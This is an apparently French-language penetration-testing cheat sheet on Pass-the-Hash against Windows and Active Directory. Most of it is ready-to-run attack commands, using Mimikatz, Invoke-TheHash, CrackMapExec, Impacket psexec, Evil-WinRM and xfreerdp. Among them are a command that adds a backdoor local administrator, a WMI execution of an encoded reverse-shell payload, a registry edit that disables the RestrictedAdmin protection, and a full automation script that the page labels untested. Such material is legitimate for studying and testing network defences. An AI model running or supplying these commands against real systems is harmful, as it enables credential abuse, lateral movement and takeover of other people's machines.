Skip to content

Pass The Hash (PtH)

Localement

Mimikatz

On peut créer un processus disposant des identifiants réseau d'un autre utilisateur pour accéder à des ressources réseau en son nom

# lancer un processus en tant qu'un autre utilisateur (julio) dont on connait le hash
    # on peut remplacer /rc4 par /NTLM
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:domain.local /run:cmd.exe" exit

Invoke-TheHAsh

On peut également exécuter des commandes à distance en tant qu'un utilisateur dont on possède le Hash (s'il possède les droits requis bien évidemment)

# Powershell avec Invoke-TheHash (https://github.com/Kevin-Robertson/Invoke-TheHash)
Import-Module .\Invoke-TheHash.psd1

# exécution de command (backdoor user)
Invoke-SMBExec -Target 172.16.1.10 -Domain domain.local -Username ad_user -Hash AAAAAAAAAA88057E06A81B54E73B949B -Command "net user rebrec Password123 /add && net localgroup administrators rebrec /add" -Verbose

# lancement d'un reverse shell
Invoke-WMIExec -Target DC01 -Domain domain.local -Username ad_user -Hash AAAAAAAAAA88057E06A81B54E73B949B -Command "powershell -e <base64_reverseshell_payload>"

A Distance

Crackmapexec

# Tester les machines d'un sous réseau 
cme smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
cme smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 --local-auth

# Exécuter une commande sur les machines
cme smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

Impacket

psexec.py Administrator@$TARGET_IP -hashes :30B3783CE2ABF1AF70F77D0660CF3453  

Evil-WinRM

evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Via RDP

Il est nécessaire de désactiver une restriction empêchant de se connecter en RDP en administrateur via du PtH. Pour ce faire :

# Localement
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# A Distance
cme smb $TARGET_IP -u Administrator -H '30B3783CE2ABF1AF70F77D0660CF3453' --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' 

On peut ensuite utiliser xfreerdp

xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

Attention

Seul le compte Administrateur local (RID-500) peut utiliser PtH sur les environnements où l'UAC est actif.

Le paramètre HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicyest à 1, alors tous les compte locaux membre du groupe Administrateur Local pourront le faire également (car ils disposeront d'un jeton "Full Integrity")

** Les comptes utilisateurs du domaine qui sont membres du groupe Administrateur Local ne sont dans tous les cas, pas bloqués et peuvent utiliser une attaque de type PtH**

Script complet (si execution à distance autorisée)

################## Non testé pour l'instant
export HASH='30B3783CE2ABF1AF70F77D0660CF3453'
export USER='Administrator'

echo "Check status of RestrictedAdmin setting"
cme smb $TARGET_IP -u $USER -H $HASH --local-auth -x 'reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin' 

echo "Disabling"
cme smb $TARGET_IP -u $USER -H $HASH --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' 

echo "Connecting"
xfreerdp  /v:$TARGET_IP /u:$USER /pth:$HASH